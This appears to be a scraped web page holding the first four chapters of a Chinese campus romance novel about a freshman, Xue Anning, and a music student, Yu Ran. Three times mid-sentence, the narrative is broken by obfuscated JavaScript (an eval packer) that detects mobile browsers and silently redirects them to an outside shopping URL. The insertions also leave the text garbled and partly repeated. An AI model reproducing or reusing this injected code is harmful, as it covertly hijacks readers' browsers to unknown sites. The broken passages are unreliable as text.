《山青花欲燃》 1. 我装的 一个小时了。 从江榆北站上车到现在,已经一个小时,隔壁座的家长带着两个小男孩进进出出,跑来跑去,嬉笑尖叫的动静完全盖过薛安甯耳机里歌手的音色,这种情况,就算是整个华语乐坛来了都没救。 而在此之前,薛安甯已经礼貌友善地提醒过这位家长两次。 第一次。 “啊?打扰到你了是吧,那我让他们安静点。” 第二次。 “我提醒过他们了啊,这个年纪的小男孩,调皮点没办法,等玩累了就消停了。” 现在,是正在进行时的第三次。 她起身,从行李架上自己的背包里摸出个白色小瓶子塞进口袋,回到座位。几秒钟后,歪头,单手取下耳机,将脸转过去的同时开口:“大叔,你……” “有完没完啊,不就两小孩吗?你不是小孩过来的?整个车厢的人都没意见就你事多!”翘着二郎腿的男人洞悉到她的目的,先一步将话打断,不耐烦地吼。 整节车厢的人纷纷侧目。 薛安甯睁大双眼看他,下秒,耳机线从手中掉落,右手不自觉地抚上剧烈起伏的胸膛,大口大口地吸气、喘气,又吸气、喘气,身体歪向一侧:“你骂我,我有心脏病我告诉你……” 男人吓坏了,连忙大声叫来乘务员。 乘务员慌慌张张要用广播呼叫医生。 这时候,薛安甯从口袋里摸出准备好的白色小药瓶,在所有人的注视下颤颤巍巍抖出两粒白色药片,拍进嘴里。 几分钟后,她直勾勾地盯住过道另一边的男人,用不太稳的气息说话:“我有心脏病还有焦虑症,受不得气,需要安静,要不然气得发病死在高铁上,谁都别想好过。” 男人一个激灵:“神经病吧!” 他起身,骂骂咧咧往外走,两个小男孩跟上他。 薛安甯冷笑:“傻X。” 乘务员再次关心她的情况,还询问需不需要喝水。 薛安甯一改方才的虚弱,轻轻眨眼,小声:“没事姐姐,我装的。” 她话音刚落,前后方向,恍惚响起两道不同笑声。 薛安甯正准备回头,前座女孩探头出来帮她说话:“那个男的真的好吵,吵一个多小时了,不仅他小孩吵,他自己还外放抖音,说他好几次了都没用,这种人就该这么治。” 乘务员会意,离开的时候,还走到两个车厢中间和带孩子的男人严肃说了些什么。 车厢总算回归安静。 没多久,两个小孩又有要打闹起来的趋势。 薛安甯一个转头,眼神刚落过去,男人压着嗓子就直接骂上了:“吵什么吵,再吵老子两巴掌,坐好!” 她于是又转过头去,唇角牵起微微讽刺的弧度。 半小时后,这一家三口到站下车。 恰好到饭点,乘务员开始来来去去推着餐车卖盒饭,车厢里陆陆续续有人开始进餐。 薛安甯从书包里摸出昨天在超市买的菠萝包,塑料袋刚撕开,前座的女孩探头朝她递来了一袋鸭货,眉眼灿笑:“我妈妈卤的,吃吗?” 当然吃。 薛安甯和阮佳雪的友谊始于一袋鸭货,快到站的时候,两人相互通气才发现原来她们还是校友,都是西外这届的大一新生,赶着去报到。 阮佳雪:“那咱们一会儿可以拼车去学校。” 西外和高铁站地处两个极端,一个在西京最北,一个在最南,打车距离五十公里。 薛安甯眨眨眼:“不用,学校在高铁站设了迎新点。” “真的假的?你消息好灵通啊!” 被阮佳雪一惊一乍逗乐。 薛安甯想,加个新生群就能知道的事情,是你消息太不灵通吧? 西京南站很大,她们按照指示牌东拐西绕,行李轮“咕隆咕隆”碾过出站人流,最后在东广场外沿的位置看见“西京外国语大学迎新点”几个横幅大字。 蓝色的遮阳棚,几张拼桌几张靠椅,还有两个被高温烘得蔫不拉几穿着迎新背心的志愿者。 天气预报显示,西京今天三十六度,晴,抬头,是蓝湛湛的天。 “西京外国语的新生吗?录取通知书看一下,这里登记基本信息。”两人扶着行李箱在遮阳棚前站定,尚未开口,桌子后边的男同学先出声。 阮佳雪先登记的,她笔下生风,另只手扶着肚子,很着急:“薛安甯你帮我看一下,我去厕所。” “嗯,好。” 笔滚到薛安甯的手旁,她捏起,不同于阮佳雪的匆忙。 桌子后边的人随手翻开她的录取通知书,惊讶:“学妹你是英语系的啊?” “对的。” “郑柏!快来!”他略激动地回头叫来另外一个志愿者,然后向薛安甯介绍,“我叫周思远,他是郑柏,他也是英语系的,算你直系学哥了,说起来你是我们今天接到的第一个英语系学妹呢。” “真的吗?那我很荣幸诶。” 薛安甯填好信息,放笔,抬头,恰到好处的惊讶与笑容,甜丝丝的。 她很会给情绪价值。 “薛安……” “nìng,后鼻音,第四声。” “哦哦哦,不好意思,文盲了。” 周思远挠挠头,不好意思地笑两声,把录取通知书递还给薛安甯。 那个叫郑柏的在旁边搭腔,笑话他:“让你平时多读点书,在学妹面前丢脸了吧。” 薛安甯:“没有啦,其实是我名字不太常见。” 这种情况她见怪不怪,帮着解围。 迎新大巴车就停在广场外的指定区域,阮佳雪去厕所没回来,薛安甯拉着箱子走进遮阳棚里,坐在风扇口等。 很晒,很热。 郑柏帮她接了杯水,周思远从抽屉里拿出堆零食问她要不要吃点,几人联系方式加得很自然,薛安甯边喝水,吃着周思远给的梅子干,顺手通过他们的好友申请,然后利索把两人划到了一个标签为“gjr”的分组。 没多久,遮阳棚里又走进来一位学姐。 她手里拿着张表,径直从西外的遮阳棚走到旁边没两步远西音的红色遮阳棚里,和对方学校的迎新志愿者核对大巴车上的人数。 全称,西京音乐学院。 周思远瞧她在看隔壁,出声说:“你看地图就知道,咱们学校跟西音只隔了一条马路,所以每年迎新基本都是包一台大巴,省经费,又方便,只是迎新点还是分开迎。” “原来是这样。” 嘴上这么应,但薛安甯其实早就知道。 那位学姐走了,跟着这趟迎新大巴把新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029123|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生送回学校,阮佳雪在微信上说自己还要一会儿,薛安甯回没关系,她们可以等下一趟。 迎新点很热,还无聊,梅子干也不好吃。 薛安甯跟周思远他们说了会儿话就烦了,从口袋里摸出耳机戴上,那两人果然没再找她闲聊,各自水群打游戏。 耳机里其实没有放歌。 薛安甯隔着耳机去听这座陌生的城市,安静又嘈杂,小片阴凉之外,远一些的地方有黑车司机拉客的声音遥遥飘过来,车流声,喇叭声。 以及…… 近处,两道清晰地叩桌响。 隔壁传来人声: “谁啊——郁燃?你怎么在这里,今天才一号你这么早回学校啊?不像你的风格……” “从江海办完事过来的,懒得回京城了。” 清清凉凉一把嗓音,像溪涧中的山泉水,清泠悦耳,很夏天。 而且,有种陌生的熟悉感。 仿佛在哪听过似的。 薛安甯想不起来,她不自觉转头去寻声音的主人。 是个女孩子。 随手挽起的长发,深色牛仔脚上踩着一双短靴,半高领的黑T袖子是假两件设计,露出来的下半截细纹刚刚过肘,身侧放着一只超大行李箱。 不管是音色还是穿搭,这人都看起来很耐热的样子。 她侧对着薛安甯,看不清容貌。 西音迎新点的志愿者还在问,顺手给桌前的人递了瓶没开封的矿泉水:“你回学校吗?正好,可以坐迎新的大巴走,空位很多。” 那人接过,另只手撑在桌沿,食指与中指落下,来回轻点:“你们多久发车?” “应该很快……不对,上趟刚走,估摸着最少也要一小时。” “那不坐了,我约了人见面。” 郁燃收回手,稍稍倾斜的身型回正,转过头,恰好朝着西外这边的遮阳棚看过来。 这回,薛安甯总算看见她的正脸—— 确认了,不认识。 明明好秾艳一张脸,偏偏长着双疏淡的眼睛,黑白分明,在这炙热的太阳底下清清淡淡,给人一种不可忽视的距离感。 眼下是三个人,六只眼睛。 郑柏和周思远也在看她,薛安甯就坐在这两人身后不远的位置。 郁燃望着这边,唇角牵起很轻微的、若有似无的弧度。然后她回头:“我走了,学校见。” 迎新志愿者:“走吧你。” 行李轮滚过地面“咕隆咕隆”远去,但这回碾过的,仿佛是薛安甯的大脑。 嗯? 她们,认识吗? 那个叫郁燃的女孩子刚刚好像是在对她……笑? 念头方起,一旁,周思远的猪叫声传来:“卧槽!郁燃刚刚是在对我笑吧?你看见了对不对?卧槽!” 郑柏:“放屁,我还说她是在看我呢。” 周思远:“也就是说她确实朝这边笑了对吧?这说明不是在对你笑,就是在对我笑……那这很好判断啊,我显然比你长得帅,她总不能是冲着你。怎么办,该不会真是看上我了吧?” 好吧。 薛安甯默默翻了个白眼。 人家就不能是心情好,对着空气笑啊? 好险。 她差点,就和这俩猪货共脑了。 2. 郁燃 “谁是郁燃啊?” 又是哪个yù,哪个rán呢? 薛安甯用提问结束掉这两人的幼稚争执,话题被引到一个很有存在感的人身上,能够说的,那可就太多了。 郁燃,就是隔壁西音作曲系大二的才女,郁燃啊。 葱郁的郁,燃烧的燃。 她很出名的。 什么,学妹你没听过啊? 那“鱼白”听过吗? 也没听过啊,那《起雾了》《蝉鸣声声》这两首传唱度很高的大火热曲总该听过吧。 就知道你听过。 鱼白写的,作词作曲。 什么,鱼白又和郁燃有什么关系? 郁燃的笔名,就是鱼白。 虽然大多数人对于这种传唱度很高的热曲只知道歌手,但稍微了解过一点的人都知道,歌手背后的作词作曲也是功不可没。 这样说,薛安甯就懂了——为什么周思远和郑柏会对隔壁西音的一个女同学这么关注,反应还如此夸张。 去年这个时候,就连课间十分钟都能听见某些班级有人用班级电脑在教室里放《起雾了》。 确实,很出名。 “谁是郁燃啊?” 同样的问题,阮佳雪回来后又问一遍。 坐上大巴,她靠在座位兴致勃勃一头扎进西音的校园论坛,搜索关键词“郁燃”,吃瓜吃得津津有味,回学校这一路,薛安甯时不时透过耳机听见身旁响起克制的笑声。 阮佳雪想和薛安甯分享八卦来着,转头,发现女孩闭着眼睛脸歪向一侧,睡着了。 车程将近一小时,大巴车停在学校正门大路旁。 新生们陆陆续续从车上下来,大家挨个取行李,抬头,就看见西京外国语的恢宏的大门题字,转身,是西京音乐学院的大门,隔条大路远远望过去,还能瞧见西外大门旁边那颗标志性的百年细叶榕。 下午三点,太阳恰好升在西外校园的正上方。 薛安甯扶着行李箱一个转身,便被西外大门那几个金光闪闪的牌匾给刺了回来。她下意识眯眼,抬手遮光,身后,阮佳雪在叫她:“走了,薛安甯!” 薛安甯的大学生活开始了。 报到,签名,激活校园卡,她的寝室被分在17栋307,下楼过条马路就是三食堂,食堂大门距离宿舍大门不到五十米,刮风下雪都不怕,室友们说这是她们四年幸福生活的开端。 不同系别之间宿舍分开的,阮佳雪德语系的被分到十一栋,和薛安甯隔着一段,新的社交圈成型以后,两人没什么事基本也不约饭了。 新生军训五号正式开始。 西京的温度不留情面,白天气温仍旧在三十四五徘徊,一周下来,甭管是擦防晒的不擦防晒的,基本晒黑一个度,个个怨声载道。 再次见到郁燃的时候,新生军训已经过去一半。 准确来说,薛安甯先认出来的,是她的声音。 “我找个空教室等你。” 阶梯教室门口传来清晰的人声,很有辨识度。 正偏着脑袋听室友说话的薛安甯听见这声,下意识转头,望过去。 那天是开学以来的第一场雨,天气原因无法外出,她们的晚训被临时改成了爱国主义教育,以小班为单位,代班学姐黄遐从阶梯教室前门进来,一步三回头,一看就知道,身后还跟着人。 而且,那人应该还不怎么愿意进来。 “你进来。” 黄遐伸手,将人往前拉了一把。 郁燃被拽了一个踉跄,再转头,已能看清教室里的大半场景,教室里的人也同样已经看见她。那张昳丽的脸上闪过一瞬间的懵然和无语:“黄遐……” 薛安甯望着这一幕,轻轻眨眼,指腹缓缓擦过手机边缘,扯了扯唇角。 室友在她耳旁小声说话:“这不是隔壁音乐学院的那谁吗,怎么在我们学校啊?” 薛安甯:“看不出来吗?她是学姐的朋友。” “啊,这……不好意思没收住力,”黄遐心虚笑笑,她跟郁燃说话就一副很熟的样子,语气软和了许多,“你进来坐着等嘛,快点快点!你自己找个地方坐。” 郁燃没再说什么。 但教室里最空的位置,就剩一二排了。 巧的是,薛安甯她们寝室那天集体淋了雨,排队洗澡耽搁了些时间,晚上到教室的时候只剩前边几排空座,她们就坐在靠墙边的第三排。 郁燃随意张望一圈,在她们前边第二排坐下了——薛安甯的斜前方,伸手就能够到。 薛安甯看见她摸出一包湿巾对着桌面仔细擦拭。 后排已经有男生悄悄摸出手机拍照。 黄遐在一脸“又加班”的憔悴样,走上讲台,熟练发表讲话:“咳咳,安静啊,今晚院里安排了爱国主义教育主题,全程差不多五十分钟的样子,我讲个ppt然后放个微电影,最后会抽几个同学分享心得……还有,结束以后那个感想是要收上来的,每一个人都要写,两百字以内你们自由发挥,大家都配合一下,早点弄完早点回去休息。” 她也不想来的,但今晚这个爱国主义教育院里会有抽查记录。 没办好,要扣学分还要挨批。 薛安甯注意到黄遐在上边才刚开始,坐在下边的郁燃就已经摸出耳机戴上,一边听歌,一边看手机。 没几分钟。 “请问,有多余的纸和笔可以借一下吗?” 前排的人转身回头,目光从薛安甯其他三个室友身上掠过,最终落在手里握着笔,面前笔记本摊开的薛安甯身上。 本子上一页空白的纸,简简单单六个字加一个标点符号——“爱国教育感想:” 近距离对话,几个室友都有点傻住没反应过来。 薛安甯同这位很出名的“学姐”对视一眼,笔在手上转半圈,尾端朝向对方,眼眸稍弯:“这个给你。”话落,她将自己面前的本子也往前推了推。 “那你呢?” “我还有其他本子。” “那谢谢。” 郁燃没和她客气,借到东西就转回去,耳机重新塞进耳朵。 薛安甯从抽屉的书包里翻出新的作业本和笔,重新书下几个字——“爱国教育感想:” 黄遐放完PPT就开始放微电影,半小时的时长,教室里灯“啪”一下,就黑了。 她从讲台上下来,说了声不准玩手机以后就挨着郁燃坐下。 前排两人在低声交流什么,薛安甯一手托腮,一手捏笔,目光聚焦在前方多媒体屏幕上,听见郁燃时不时“嗯,啊”地回应一下黄遐的话,认真敷衍的样子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029124|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但偶尔,她也会笑一声,极短促的一声,裹着浮动的笑息,然后转过脸去接黄遐的话。 挺想认识的。 笔在薛安甯手里又转了一圈,她挺想认识郁燃……嗯,或者说,鱼白的。 但她也知道,有这种想法的人肯定不止自己一个。 微电影播到尾声,薛安甯在作业本上写好最后一句感想,紧接着,她的本子就被室友们借过去传阅“参考”。 前排,黄遐弓着腰突然起身:“不行,肚子突然好痛……你帮我看着点,一会儿我要是没回来你就上去拿着花名册随便点几个人就行。”来不及等郁燃张口拒绝,人就已经从教室闪了出去。 “真是……” “服了。” 郁燃又好笑又无语,手里的笔盖上放回桌面,双手抱肩靠在椅背,微微仰脸望向黑板中央的多媒体大屏,薄唇轻抿。 几分钟后,影片结束。 灯亮。 黄遐果然没有回来,郁燃认命地起身,走上讲台。 她双手轻轻撑在讲台,抬眸扫过讲台下方密密麻麻的人影:“最后一个分享流程,我对你们班的人不熟悉,就直接对着花名册点了。” “被点到的可别记恨我。” 她微微扬唇,开着无伤大雅的玩笑,下边也有人在配合着笑。 至少,薛安甯笑了。 有蠢蠢欲动的男同学想搏关注,直接问:“请问学姐,我们的代班学姐呢?” “你们代班学姐去厕所了……”郁燃轻飘飘地答着,余光,瞥见后门有抽查巡视的人端着摄像走进教室拍素材,她捏起讲台上的花名册表,垂眸,“好了,我开始点人。” 小班花名册总共四十八个人,郁燃一目十行,接连点起来两个男生。 307寝室在下边窃窃私语,江姜说:“每次到这种点名都时候我都好羡慕薛安甯,她名字不太常见,老师看见了一般不会点吧。” 贺思琪:“谁说的?” “那有没有可能,就因为名字看着特别,老师一好奇就想点起来看看?” “对哦!我怎么没想到!”江姜嘴巴都还没来得及合上。 下秒—— 讲台上的人:“薛安甯。” 准确无误的第四声,字正腔圆。 “!”贺思琪悄悄捂嘴,“抱歉,我可能是属乌鸦的。” 郁燃将花名册表按在讲台上,指尖一下下轻点着,她稍稍歪头,散漫的目光缓慢扫过整个阶梯教室,让这个名字又在舌尖滚了一遍:“薛安甯,来了吗?” 大家的目光纷纷朝往同个方向。 有人站起来了。 郁燃不疾不徐朝着人影望过去,将花名册上的名字与这张脸,对应起来:“很特别的名字,”她说,“一看,就很有文化。” 气氛轻松起来,底下大家又笑了。 “我念对了吗?”郁燃凝着她,轻声,又像刻意,“是第四声吧?” “是第四声。” 薛安甯眉眼弯弯,笑起来的时候,右唇边有明显梨涡,是极具迷惑性的一张脸:“哇,我长这么大学姐你还是第一个,一次就能念对我名字的人。” “是吗?”郁燃忽然笑了下,低眸,又抬眸,将花名册按在掌心底下,“请学妹分享一下自己的心得。” 3. 不好相处 “其实是第四声,薛安nìng。” 穿着校服的女孩举着手机,忍不住纠正视频对面的人——一个网名叫“Y”的女孩子。 薛安甯什么也看不到,因为对方并没有开摄像头,屏幕里是漆黑一片。 话落的同时,她不着痕迹瞥了眼站在镜头死角的薛轩一眼,冷嗖嗖的。 仿佛在说,偷偷在网上用我身份到处乱搞,到头来,对方连我名字都念不对? 薛轩做了个双手合十的动作,朝她拜了又拜。 对面又说话了:“抱歉,我下意识以为念第二声。” “嗯……薛安甯。” 这个声音又重新念了一遍她的名字,第四声,又轻又缓,尾音勾带着一丝似有若无的笑意,像在笑,仔细听,又没有。 这回读音正确,让薛安甯觉得舒服很多——普通话挺标准的,声音又好听,念她名字都字正腔圆,半点口音不带。也不知道薛轩走什么狗屎运,线上交友,真能交到这么好的……嗯? 不过也说不定,对面万一也是骗子呢? 网上真真假假,谁分得清。 薛安甯懒得管这么多,心思又回到了晚自习没写完的那半张数学卷子上,敷衍着:“嗯,没关系啦,现在知道就好了。”心里一遍遍翻白眼,镜头前,薛安甯还一边扮演着乖软无害的高中生。 她右手举着手机,久了,有一些累,镜头一晃,将手机换到左手,笑容清甜:“姐姐,现在应该不会怀疑我是男装女的照骗了?” 视频通话没有持续很久,因为必要性不强。 对面只是要确认,“云端の”确实是个女孩子。 而“云端の”,是薛轩的企鹅昵称。 视频挂断后,薛安甯一秒变脸。她坐在椅子上身体稍稍前倾,朝薛轩的方向伸手,摊开,面无表情:“钱。” 半小时前薛安甯下晚自习回家,刚进门就被薛轩急哄哄拉进房间里,对方好赖话说尽,细问,才知道是用她的名字她的照片在网上装女孩子跟人网聊被识破了。 薛轩思来想去,不甘心就这么被拉黑,只好找她求救。 也不能说是求,是先威逼,再利诱。 薛轩倒也说话算话,从卫衣口袋里摸出几张粉红大钞,分了一半:“给你给你,说了给你我还赖账不成。” 才三张。 薛安甯睨一眼,收起来,嘴上没饶:“爷爷奶奶这次就给你塞了这么点?” 今天是每月一次的家庭聚会日,薛安甯他们大伯在酒店订了包厢,晚上聚餐两个家庭的人都去了,爷爷奶奶坐主位。 薛安甯没去。 她不想去,随口扯个谎说今天晚自习有小考要提前到校,大人也没怀疑。 不提还好,一提这个,薛轩也埋怨上了:“期末没考好呗,爸妈跟爷爷奶奶告状了,还说之后零花钱也要打折扣……过去吃个饭都要挨说,真无语。”薛轩吊儿郎当,有点嫌她问得多了,“有都不错了,你还嫌少?” 薛安甯好整以暇地看他,好笑地添油加醋:“天天追百合番在网上变性网聊,考成这样也不怪爸妈生气啊?” 拿成绩说事,薛轩是真烦了:“你管呢,我考再差爷爷奶奶说两句该给我塞钱还是会给我塞,哪像你……”说到这,他意识到不太对,悄摸瞥一眼薛安甯的脸色,别扭生硬地转开话题,“手机可以还给我了!” 薛安甯没理他,低头,解锁手机。 薛轩看见她的动作,急了:“薛安甯你干嘛?那是我的隐私。” 薛安甯躲开他:“你冒充我,我得知道你用我的名字在网上都跟人聊了什么。”她边说,一边一目十行地浏览着薛轩和Y的聊天记录,几分钟后,手机扔回床上,满脸烦躁地看向自己这个弟弟,“薛轩,我最后警告你一次,不要用我的照片我的名字在网上乱搞,你有病吧,这么爱装女的不如去跟爸妈说你想变性啊?” 见薛安甯真生气了,薛轩不敢再跟她硬碰,改口,语气软下去:“我这就是一种爱好而已……” “而且说得你没有爱好瞒着爸妈似的……诶诶诶,咱们扯平行吧,你不告发我,我也不告发你录歌的事,我保证这是最后一次行了吧?以后不用你照片了。” “而且你放心,我也没把你照片发给几个人,这是第一个,人家是京城人离得老远,根本影响不到你什么。” “那大不了以后你想用电脑录歌,不用预约,不管我是在追番还是在玩游戏都可以,这样总行了?” 听起来,挺划算。 薛安甯脸色缓和了些,拉开房门丢下一句话:“那就这样。” 房间门虚掩着半开,没多久,从客厅里飘来妈妈见怪不怪的絮叨声:“这才刚回来怎么又吵?姐弟俩都这么大了还吵吵闹闹的,宁宁你过来,帮妈妈拿一下……” 这年暑假,薛安甯高二升高三。 “不行了,帮我拿一下!” 本子和笔一股脑塞薛安甯怀里,贺思琪直接往外跑。 闹哄哄刚散场的教室里没人注意前排的小插曲,大家都赶着离开。江姜瞧一眼薛安甯手里的本子,好笑地说:“贺思琪肚子疼好一会儿了,但刚刚后边不是有人在检查吗?没好意思说。” 薛安甯眉眼稍弯,做一个无声“噢~~”的嘴型,她将贺思琪的本子一并揣进自己的书包,转头,郁燃正端着手里的本子在看她。 薛安甯默默闭上半张合的嘴。 郁燃把东西还给她:“谢谢你的本子和笔。” “不客气的,学姐。” 薛安甯轻轻眨眼,这回,笑是有声音的了。 等到教室里的人走空,贺思琪才回来。薛安甯原本在低头看手机,见她回来,问候一句:“你还好吗?” 贺思琪一脸菜色:“不知道是不是吃错东西了,拉肚子。” 江姜:“我怎么记得你今晚吃的食堂?” 贺思琪:“就是啊,按理说应该不会有问题才对,但你别说咱们班今晚好几个人都拉肚子。” 几个人边走边聊,二教走回十七栋的距离,足够她们话题转换好几个,其中郁燃的名字出现好几次,江姜说感觉郁燃人还可以,不像论坛上那些人说的不好相处。 贺思琪说什么论坛啊?给我也看看。 薛安甯说少看那些乱七八糟的八卦啦,很多人评价别人都是夹带私货的。 秋夜晚风仍旧裹着未消的暑意,快要走到宿舍楼的时候,江姜揉揉眼睛,转头问她们:“我有点近视,你们看前边那两个是黄遐学姐和郁燃吗?” 薛安甯一看,还真是。 这两人走得挺慢,老年人散步似的。 她们加快脚步,准备上前打个招呼。 这时,不大不小的闲聊声顺着风飘到后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029125|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方—— “你说的是……你们英语系那个秦舟?” “你知道?” “现在真是什么阿猫阿狗都能叫才子。”郁燃的声音,平静,没有波澜,正因为如此叫人听出了丝丝的傲慢和讽刺。 “哇,你跟他有仇啊?嘴这么毒走夜里小心被人套麻袋。” “不认识。” 几句零星的闲言碎语,让不相干的人听个正着,偏偏郁燃有所感应似的,在此时回头。 五个人,十只眼睛。 江姜和贺思琪有点尴尬,听到了不该听的。 薛安甯倒不觉得有什么,主动和她们打招呼:“嗨,学姐,好巧啊,刚才隔得有些远我们还不确定是不是你们,就追上来看。” 黄遐也挺意外:“是你们啊,我记得你们也住十七栋是不是,几楼来着?” 江姜抢答:“3楼307!” “对对对,307。” 黄遐顺着她们说,郁燃就站在一旁,神情淡淡,从头到尾都像个局外人完全没有要参与对话的打算。 薛安甯没看她。 但余光,一直落在她的身上。 郁燃站的位置刚好在树影里,清瘦的肩膀一半路灯的光,一半阴影,这时候的郁燃,又和先前在教室里会开玩笑的那个郁燃不同,薛安甯从她身上窥见了浓烈的距离感和漫溢出来的清傲。 符合薛安甯对她的第一印象。 感觉,她心情不太好的样子。 黄遐终于想起自己身边还站着一个外校的,顺口说着:“哦,郁燃家里托我给她带点东西,她今晚过来就是特意跟我回寝室拿东西的。” “是这样。”郁燃接她的话,微微笑,“那现在可以去你寝室,拿东西了吗?” 哇。 这话接得……一点面子不给。 黄遐瞪她。 江姜替人尴尬的毛病犯了,突然一股莫名的压力,觉得还是不和这两人同路的好:“那什么,刚想起来毛肖晴让我给她带东西。” 贺思琪打配合:“那我们去一趟商店,先走了学姐。” “哦,好,你们去。”黄遐也不在意。 “改天见,学姐。” 这句,是薛安甯说的。 但就不知道是对一个人说的,还是两个人。 她自始至终都在笑,说话也是让人觉得温和乖巧,很有礼貌,目光从黄遐身上掠过,在郁燃身上稍微停顿,又移开,后者都没有在看这边。 薛安甯轻轻抿唇。 与郁燃的淡冷相比,黄遐一副很学姐的口吻:“快去快去,早点回寝室休息,你们明天还要军训呢。” 三人转身,换个方向,走远。 江姜两次回头,确认身后没人了才大着胆子开口:“我收回我之前的话吧,郁燃看着是挺不好相处的哈,和之前在教室的时候简直判若两人,刚刚我都不敢和她说话。” “嗯!”贺思琪点头,“我知道,她们刚刚说的那个秦舟好像我们系大三的学哥,她说不认识对方,那干嘛在背后这么说人家啊……” 薛安甯安静等着她们说完,随后伸出食指轻轻勾起耳旁碎发,用不太在意的口吻,表明立场:“我觉得,没有人会无缘无故去评价一个人吧,说不定里面就有什么我们不知道的内情呢。” 话落,她看向两人,歪头:“对吧?” 4. 世界太小 人与人相处,大多一眼定生死。 薛安甯刚好是个特别有偏向性的人,而且愤世嫉俗,她讨厌一个人从来都有全套理由。 我骂的,能是什么好东西? 骂我的,又能是什么好东西? 所以以己度人,今晚这事,将郁燃和个连名字都没听过的本系学哥放一起,不用想,薛安甯自然偏向郁燃,立场鲜明。 才见过两面,薛安甯已经自如地将自己归到郁燃那一边,能写出《蝉鸣声声》的人,又能坏到哪去呢? 薛安甯欣赏郁燃身上的才华,连带无条件偏爱这个人,十分的合乎情理。 鱼白作词的每一首歌,她都翻唱过。 没人在意这样一个小插曲,回到寝室后,大家做各自的事情。贺思琪提一桶脏衣服出去洗,回来时,想起来什么:“薛安甯,我本子是不是还在你那里?” “对的,我拿给你。”薛安甯摘下耳机,伸手去够挂在衣柜门上的书包。 她的床位在进门右手边。 东西还给贺思琪以后,她准备拉上书包拉链,低头,却看见另外一个本子——今晚借给郁燃的那个笔记本。 出于好奇,薛安甯拿起来随手翻了翻。 是个她不常用的本子,没正式开学上课,她还没来得及在上边写些什么,纸张一页页飞过,十几页过去,本子干干净净,并没有被人书写过的痕迹。 薛安甯想了想,反手,从后往前翻。 这下有了。 是段谱曲的草稿,比较专业,又潦草,薛安甯看不太懂,她又往前翻几页,没有别的了。 有些失望,又觉得合理。 正当她要将本子收起来的时候,忽然,在飞速翻过的纸页中间瞥见大片醒目的蓝。 薛安甯让纸张定格在那一页。 一个没有下完的五子棋盘。 是开学第一次班会的时候,薛安甯坐在下面无聊,画了个棋盘自己跟自己下五子棋,但没一会儿就被其它事情打断,没能继续下去。 当时她用的是黑色水性笔,今晚借给郁燃的那支,是蓝色,她继续薛安甯当时没有下完的棋。 薛安甯仿佛透过密密麻麻延伸到作业纸边缘的五子棋,看见了一个特别无聊的郁燃。 她挑眉,咧唇笑了声,很轻。 原来,郁燃也怕无聊。 收好本子,薛安甯回到座位上继续听歌。 没多久,小腹一阵热流涌过,她有预感似的以最快的速度起身钻进厕所。 很好,军训期间来姨妈了。 高温暴晒加流血,中大奖。 从贺思琪那里拿了一片卫生巾应急,薛安甯拿上手机出门。 快十点,食堂门口的小超市应该还没关门,拖鞋趿在瓷砖地面哒哒作响,薛安甯跑两步,在楼梯间遇见从楼上下来的郁燃,对方手上拎着一个快满的纸袋子,应该就是黄遐之前说过的东西。 两人皆是一愣。 发尾还甩着微微晃动的弧度,薛安甯停下脚步,眼眸稍弯,率先同人打招呼:“学姐。” 郁燃继续下楼梯:“这么晚了还出去?”不似方才偶遇时明显的冷淡,郁燃又恢复到初次见面温和却距离感十足的样子。 薛安甯:“嗯,大姨妈来了,下去买卫生巾。” 两人默契同路。 并不熟悉的两个人一起下楼,薛安甯主动搭话,说起自己看见了笔记本上的五子棋盘,又问郁燃笔记本上写的那些东西还要不要?几面之缘,她却同人熟稔得很自然,仿佛是与生俱来的社交本事。 “本来就是借用的笔记本,用完以后还撕走,岂不是让人觉得没素质又霸道还不好相处?”走出宿舍楼大门,白亮的路灯光斜斜照下来,郁燃停步,转脸望向她在开自己的玩笑,连着用了三个不太好的形容词。 郁燃当然知道很多人对自己的评价都是“不好相处”,但她并不在意。 薛安甯缓缓眨眼,坦然对上她的视线:“会吗?我觉得学姐你人很好诶,温和礼貌又有趣。” 她也用了另外三个形容词。 睁着眼睛说瞎话。 郁燃忍俊不禁,她觉得眼前这个“学妹”实在是很有意思,几次遇见,薛安甯展现出来面孔都不一样。 哦,对,差点忘了,互联网上也有一副面孔。 初见时她也诧异。 后来细细一想,世界真有这么小。 不过可以确定的是,薛安甯确实是才“刚”认识她——即便如此,对方释放出来的善意和亲近信号,却非常明显。 郁燃兀自转开了话题:“其实……严格来说我不算是你的学姐,你觉得呢?” 她并不是西外的人,更加不是直系。 薛安甯同样狡黠地又将话题引到另一处:“所以刚刚说再见,才没有理我吗?” “原来刚刚有我的份吗?” 郁燃一副“恍然”的样子,眉眼却是在笑。她接住了薛安甯的话,并且,又开了一个无伤大雅的玩笑,没让对方这句话掉在地上。 